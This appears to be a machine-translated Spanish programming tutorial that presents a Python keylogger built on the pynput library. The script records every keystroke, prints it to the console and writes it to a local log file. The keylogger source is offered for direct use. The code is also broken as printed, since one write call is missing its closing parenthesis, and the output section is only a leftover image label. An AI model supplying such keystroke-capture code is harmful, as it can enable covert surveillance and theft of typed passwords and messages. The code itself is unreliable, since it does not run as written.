¿Cómo usar pynput para hacer un Keylogger?

Requisitos previos: lenguaje de programación Python
El paquete pynput.keyboard contiene clases para controlar y monitorear el teclado. pynput es la biblioteca de Python que se puede usar para capturar entradas de teclado; el mejor uso de esto puede ser hacer registradores de teclas. El código para el keylogger se proporciona a continuación.

Módulos necesarios

pynput: para instalar pynput, escriba el siguiente comando en la terminal.  

 pip install pynput 

A continuación se muestra la implementación:  

Python3

# keylogger using pynput module
  
import pynput
from pynput.keyboard import Key, Listener
  
keys = []
  
def on_press(key):
     
    keys.append(key)
    write_file(keys)
     
    try:
        print('alphanumeric key {0} pressed'.format(key.char))
         
    except AttributeError:
        print('special key {0} pressed'.format(key))
          
def write_file(keys):
     
    with open('log.txt', 'w') as f:
        for key in keys:
             
            # removing ''
            k = str(key).replace("'", "")
            f.write(k
                     
            # explicitly adding a space after
            # every keystroke for readability
            f.write(' ')
              
def on_release(key):
                     
    print('{0} released'.format(key))
    if key == Key.esc:
        # Stop listener
        return False
  
  
with Listener(on_press = on_press,
              on_release = on_release) as listener:
                     
    listener.join()

Producción: 

python-keylogger-pyinput

Publicación traducida automáticamente

Artículo escrito por TARuN y traducido por Barcelona Geeks. The original can be accessed here. Licence: CCBY-SA

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *